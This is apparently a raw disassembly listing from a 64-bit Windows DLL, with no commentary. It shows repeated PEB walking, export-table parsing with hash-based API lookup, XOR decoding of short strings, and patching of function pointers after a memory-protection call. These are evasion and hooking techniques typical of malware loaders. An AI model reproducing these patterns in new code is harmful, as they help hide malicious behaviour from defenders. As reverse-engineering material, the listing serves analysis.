mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba66b
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba66b
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa7221b22
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba666
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba640
cmp r8d, 0xe5f8407a
je 0x1800bab6c
test r9d, r9d
jne 0x1800ba620
mov rax, qword [rax]
jmp 0x1800ba5f0
mov rcx, qword [0x18023d5f0]
call fcn.1800e51b0
test eax, eax
je 0x1800bab8c
mov r10, qword [0x180240640]
test r10, r10
jne 0x1800ba747
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800ba728
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800ba728
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x7f5b3a95
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800ba723
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800ba700
cmp edx, 0xb0af11f4
je 0x1800ba93c
test r8d, r8d
jne 0x1800ba6e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800ba73d
cmp qword [rax + 0x30], r15
jne 0x1800ba6b0
mov r10, r15
mov qword [0x180240640], r10
mov eax, dword [0x1801b5ce8]
mov r8d, r15d
movsd xmm0, qword [0x1801b5ce0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801b5cec]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800ba849
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5ce0]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800ba860
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba937
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba937
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xfd691efe
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba932
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba910
cmp r8d, 0x95a176e0
je 0x1800ba959
test r9d, r9d
jne 0x1800ba8f0
mov rax, qword [rax]
jmp 0x1800ba8c0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800ba740
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800baa07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800baa07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf869171f
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800baa02
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800ba9e0
cmp r8d, 0x3be3e667
je 0x1800baa0c
test r9d, r9d
jne 0x1800ba9c0
mov rcx, qword [rcx]
jmp 0x1800ba990
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800baab7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800baab7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1208ba36
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800baab2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800baa90
cmp r8d, 0xc89f7fe0
je 0x1800baabc
test r9d, r9d
jne 0x1800baa70
mov rax, qword [rax]
jmp 0x1800baa40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bab67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bab67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7ba9cfe
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bab62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bab40
cmp r8d, 0x7bb20f86
je 0x1800bab6c
test r9d, r9d
jne 0x1800bab20
mov rax, qword [rax]
jmp 0x1800baaf0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
call fcn.1800e5260
mov rax, qword [0x18023fee0]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1800baf9c
mov rax, qword [0x180240588]
test rax, rax
jne 0x1800bac83
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800bac44
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800bac44
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x3e2adb0e
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800bac3f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800bac20
cmp edx, 0x872dd611
je 0x1800bac62
test r8d, r8d
jne 0x1800bac00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800bac7a
cmp qword [rax + 0x30], r15
jne 0x1800babd0
mov qword [0x180240588], r15
jmp 0x1800bac86
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r15d, dword [rcx + rdx*4]
add r15, r9
mov qword [0x180240588], r15
jmp 0x1800bac86
mov r15, rax
mov eax, dword [0x1801b8a84]
lea r8, [0x1801a2c24]
mov dword [rbp - 0x31], eax
lea rdx, [rbp - 0x31]
movzx eax, word [0x1801b8a88]
xor r9d, r9d
xor byte [rbp - 0x30], 0x33
xor ecx, ecx
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
mov word [rbp - 0x2d], ax
movzx eax, byte [0x1801b8a8a]
xor byte [rbp - 0x2d], 0x36
xor al, 0x38
xor byte [rbp - 0x2c], 0x37
mov byte [rbp - 0x2b], al
mov byte [rbp - 0x31], 0x53
call r15
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bad67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bad67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xe1348da9
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bad62
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bad40
cmp r8d, 0x4d152aa9
je 0x1800bad6c
test r9d, r9d
jne 0x1800bad20
mov rax, qword [rax]
jmp 0x1800bacf0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bae17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bae17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xe43253cb
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800bae12
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800badf0
cmp r8d, 0xf079ea3
je 0x1800bae1c
test r9d, r9d
jne 0x1800badd0
mov rcx, qword [rcx]
jmp 0x1800bada0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800baec7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800baec7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb82a95a7
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800baec2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800baea0
cmp r8d, 0x86323c9b
je 0x1800baecc
test r9d, r9d
jne 0x1800bae80
mov rax, qword [rax]
jmp 0x1800bae50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800baf77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800baf77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf4aa9c79
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800baf72
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1800baf50
cmp r8d, 0x52e19059
je 0x1800baf7c
test r9d, r9d
jne 0x1800baf30
mov rax, qword [rax]
jmp 0x1800baf00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x1800bb66d
mov dword [rbp - 0x31], r15d
mov rax, qword gs:[0x60]
mov qword [rsp + 0x130], r14
mov r14, qword [rcx]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bb037
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb037
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x957b55b8
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bb032
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bb010
cmp r8d, 0xb6b58d7f
je 0x1800bb03c
test r9d, r9d
jne 0x1800baff0
mov rax, qword [rax]
jmp 0x1800bafc0
mov ecx, dword [rdi + 0x24]
mov r8d, 8
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, 0x40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x20], rcx
add rax, r10
mov rcx, 0xffffffffffffffff
mov rdx, r14
call rax
mov rax, qword [r14 + 0x40]
test rax, rax
je 0x1800bb09a
cmp qword [r14 + 0x68], r15
je 0x1800bb09a
mov qword [0x18023d580], rax
mov rax, qword [r14 + 0x68]
mov qword [0x18023d588], rax
jmp 0x1800bb587
mov r10, qword [0x180240580]
test r10, r10
jne 0x1800bb167
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800bb148
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800bb148
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x63c59b4c
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800bb143
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800bb120
cmp edx, 0x7d304687
je 0x1800bb24f
test r8d, r8d
jne 0x1800bb100
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800bb15d
cmp qword [rax + 0x30], r15
jne 0x1800bb0d0
mov r10, r15
mov qword [0x180240580], r10
cmp byte [reloc.WS2_32.dll_gethostname], r15b
mov rax, qword [0x1801b8a90]
mov qword [rsp + 0x30], rax
je 0x1800bb2b0
cmp r12d, 2
jl 0x1800bb26c
movdqa xmm1, xmm6
movd eax, xmm11
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm10
psubd xmm6, xmm0
movd xmm0, eax
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
paddb xmm6, xmm0
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
xorps xmm6, xmm1
movdqa xmm1, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movd dword [rsp + 0x30], xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm7, xmm0
movd xmm0, eax
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm0
xorps xmm7, xmm1
movd dword [rsp + 0x34], xmm7
jmp 0x1800bb2b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800bb160
lea r8, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul r15d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 8
jl 0x1800bb280
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bb357
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb357
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa41f6963
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bb352
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bb330
cmp r8d, 0xac4883af
je 0x1800bb35c
test r9d, r9d
jne 0x1800bb310
mov rax, qword [rax]
jmp 0x1800bb2e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bb407
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb407
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa51f6af6
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800bb402
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800bb3e0
cmp r8d, 0x2dcda3ce
je 0x1800bb40c
test r9d, r9d
jne 0x1800bb3c0
mov rcx, qword [rcx]
jmp 0x1800bb390
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bb4b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb4b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x85c40953
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bb4b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bb490
cmp r8d, 0x5ae3346f
je 0x1800bb4bc
test r9d, r9d
jne 0x1800bb470
mov rax, qword [rax]
jmp 0x1800bb440
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800bb567
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb567
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa70e6ed7
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bb562
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bb540
cmp r8d, 0xbb0bd517
je 0x1800bb56c
test r9d, r9d
jne 0x1800bb520
mov rax, qword [rax]
jmp 0x1800bb4f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
lea rax, [0x1800b3b80]
mov qword [r14 + 0x40], rax
lea rax, [0x1800b8210]
mov qword [r14 + 0x68], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800bb627
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800bb627
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xfd5b795e
mov r10d, r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800bb622
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800bb600
cmp r8d, 0x649d41c1
je 0x1800bb62c
test r9d, r9d
jne 0x1800bb5e0
mov rax, qword [rax]
jmp 0x1800bb5b0
mov r9d, dword [rdi + 0x24]
lea rdx, [rbp - 0x31]
add r9, r11
mov qword [rsp + 0x20], rdx
mov r8d, 8
mov rdx, r14
mov rcx, 0xffffffffffffffff
movzx r10d, word [r9 + r10*2]
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov eax, dword [r9 + r10*4]
mov r9d, dword [rbp - 0x31]
add rax, r11
call rax
mov r14, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x120]
mov rcx, qword [rbp - 0x29]
xor rcx, rsp
call fcn.18019d700
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r12
pop rbp
ret
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800bb6c0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
lea rcx, [0x180240548]
setne byte [0x180240544]
call fcn.18019d588
jmp 0x1800b8499
lea rcx, [0x180240548]
call fcn.18019d5f4
cmp dword [0x180240548], 0xffffffff
jne 0x1800b8499
mov eax, dword [0x1801b8a38]
mov r8d, r15d
movsd xmm0, qword [0x1801b8a30]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801b8a3c]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800bb826
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
mov r8d, 8
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
